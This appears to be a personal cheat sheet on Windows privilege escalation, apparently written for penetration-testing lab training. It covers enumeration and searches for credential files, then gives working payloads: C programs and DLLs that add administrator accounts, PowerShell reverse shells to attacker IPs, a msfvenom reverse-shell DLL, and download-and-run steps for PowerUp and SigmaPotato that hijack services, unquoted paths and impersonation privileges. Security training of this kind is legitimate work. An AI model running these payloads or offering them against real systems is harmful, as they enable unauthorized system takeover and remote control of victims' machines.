Windows Privilege Basics
Security Identifier (SID)
SID is used in Windows to identify entities, such as users and groups. SID of local entities is assigned by LSA, and SID of domain entities is generated by domain controller.
Format of SID: S-1-5-21-1336799502-1441772794-948155058-1001
.
Well-known SID:
S-1-0-0 Nobody S-1-1-0 Everybody S-1-5-11 Authenticated Users S-1-5-18 Local System S-1-5-domainidentifier-500 Administrator
Windows Enumeration
Key Information of a Windows Host
Item | PowerShell Command |
Username and hostname | whoami whoami /groups |
Existing users and groups | net user neGet-LocalUser Get-LocalGroup Get-LocalGroupMember <GROUP> |
OS, version and architecture | systeminfo |
Network | ipconfig /all route print netstat -ano |
Installed applications | Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname (32-bit)Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname (64-bit) |
Running processes | Get-Process |
PowerShell transcription | Get-History (Get-PSReadlineOption).HistorySavePath |
Search for sensitive files
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue Get-ChildItem -Path C:\Users\alex\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Run an application as another user
runas /user:backupadmin cmd
WinRM connection
evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"
Save file from HTTP server
iwr -uri http://192.168.48.3/winPEASx64.exe -Outfile winPEAS.exe
Windows Services
Hijack service binaries
For service hijack attacks, the vulnerable services are executed by users with higher privilege (e.g. local SYSTEM user). However, due to inappropriate access control, the binary file of the service might be writable by non-privileged users. We can replace the contents of the binaries to make the privileged user execute our commands.
Check for vulnerable binaries
Item | PowerShell Command |
Get current running services | Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -eq 'Running'} |
Get ACL | icacls "C:\xampp\apache\bin\httpd.exe" |
Produce PrivEsc payload
#include <stdlib.h> int main () { int i; i = system ("net user dave2 password123! /add"); i = system ("net localgroup administrators dave2 /add"); return 0; }
#include <stdlib.h> int main () { int i; i = system("powershell \"$client = New-Object System.Net.Sockets.TCPClient('192.168.45.194',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \\\". { $data } 2>&1\\\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""); return 0; }
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Deliver payload and replace binary file
Backup the original binary:
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe
Check start mode of a service:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}
If the start mode is “Auto”, the service will start automatically after a reboot.
Manually restart a service:
net stop mysql net start mysql
Reboot a Windows host (option /r
)
shutdown /r /t 0
Automating the attack
On Kali:
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 . python3 -m http.server 8080
On target host:
iwr -uri http://192.168.45.209:8080/PowerUp.ps1 -Outfile PowerUp.ps1 powershell -ep bypass . .\PowerUp.ps1 Get-ModifiableServiceFile
Hijack service DLLs
Similar to Windows service hijacking, service DDLs can be replaced to gain elevated privilege when the application is started by a highly privileged user.
#include <stdlib.h> #include <windows.h> BOOL APIENTRY DllMain( HANDLE hModule,// Handle to DLL module DWORD ul_reason_for_call,// Reason for calling function LPVOID lpReserved ) // Reserved { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: // A process is loading the DLL. int i; i = system ("net user dave3 password123! /add"); i = system ("net localgroup administrators dave3 /add"); break; case DLL_THREAD_ATTACH: // A process is creating a new thread. break; case DLL_THREAD_DETACH: // A thread exits normally. break; case DLL_PROCESS_DETACH: // A process unloads the DLL. break; } return TRUE; }
#include <stdlib.h> #include <windows.h> BOOL APIENTRY DllMain( HANDLE hModule,// Handle to DLL module DWORD ul_reason_for_call,// Reason for calling function LPVOID lpReserved ) // Reserved { switch ( ul_reason_for_call ) { case DLL_PROCESS_ATTACH: // A process is loading the DLL. int i; i = system("powershell \"$client = New-Object System.Net.Sockets.TCPClient('192.168.45.201',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex \\\". { $data } 2>&1\\\" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""); break; case DLL_THREAD_ATTACH: // A process is creating a new thread. break; case DLL_THREAD_DETACH: // A thread exits normally. break; case DLL_PROCESS_DETACH: // A process unloads the DLL. break; } return TRUE; }
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.201 LPORT=9999 -f dll -o EnterpriseServiceOptional.dll
Compile the payload to DLL:
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
Abuse unquoted service paths
If the path to a service binary contains a space character and the path string is not quoted (e.g. C:\Program Files\My Program\My Service\service.exe
), Windows may intepret the binary location differently:
C:\Program.exe C:\Program Files\My.exe C:\Program Files\My Program\My.exe C:\Program Files\My Program\My service\service.exe
Check for vulnerable path names
Search for service binary paths with spaces and verify if the user may start and stop it:
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Result:
GammaService Stopped C:\Program Files\Enterprise Apps\Current Version\GammaSe...
Check if the user has write permission to each of the folder that Windows may serach for the binary:
icacls "C:\" icacls "C:\Program Files" icacls "C:\Program Files\Enterprise Apps"
Deliver payload and create binary file
In the case above, Windows will look for Current.exe
(the string before the 3rd space in the path). Therefore, we deliver the payload to the following location:
C:\Program Files\Enterprise Apps\Current.exe
Start the service to execute
Start-Service GammaService
Automating the attack
On target host:
iwr -uri http://192.168.45.208:8080/PowerUp.ps1 -Outfile PowerUp.ps1 powershell -ep bypass . .\PowerUp.ps1 Get-UnquotedService Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Scheduled Tasks
Check for vulnerable tasks
Get-ScheduledTask
schtasks /query /fo LIST /v
A exploitable scheduled task should be:
- Executed as privileged user or target user (see
Run As User
) - Has easy-to-meet scheduling conditions (e.g. every minute, on logon, on system start)
- The script/binary/command of the task is reachable and can be replaced by a malicious payload
For example:
HostName: CLIENTWK221 TaskName: \Microsoft\Voice Activation Next Run Time: 6/8/2025 1:31:50 AM Status: Ready Logon Mode: Interactive/Background Last Run Time: 6/8/2025 1:31:04 AM Last Result: 1 Author: CLIENTWK221\offsec Task To Run: C:\Users\moss\Searches\VoiceActivation.exe Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode Run As User: roy Delete Task If Not Rescheduled: Disabled Stop Task If Runs X Hours and X Mins: Disabled Schedule: Scheduling data is not available in this format. Schedule Type: One Time Only, Minute Start Time: 8:56:50 AM Start Date: 11/15/2022 End Date: N/A Days: N/A Months: N/A Repeat: Every: 0 Hour(s), 1 Minute(s) Repeat: Until: Time: None Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled
Using Exploits
Check for special privileges:
whoami /priv
Get security updates:
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
Exploit SeImpersonatePrivilege
:
On Kali:
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe python -m http.server 8080
On target host:
iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe .\SigmaPotato "net user dave4 lab /add" .\SigmaPotato "net localgroup Administrators dave4 /add"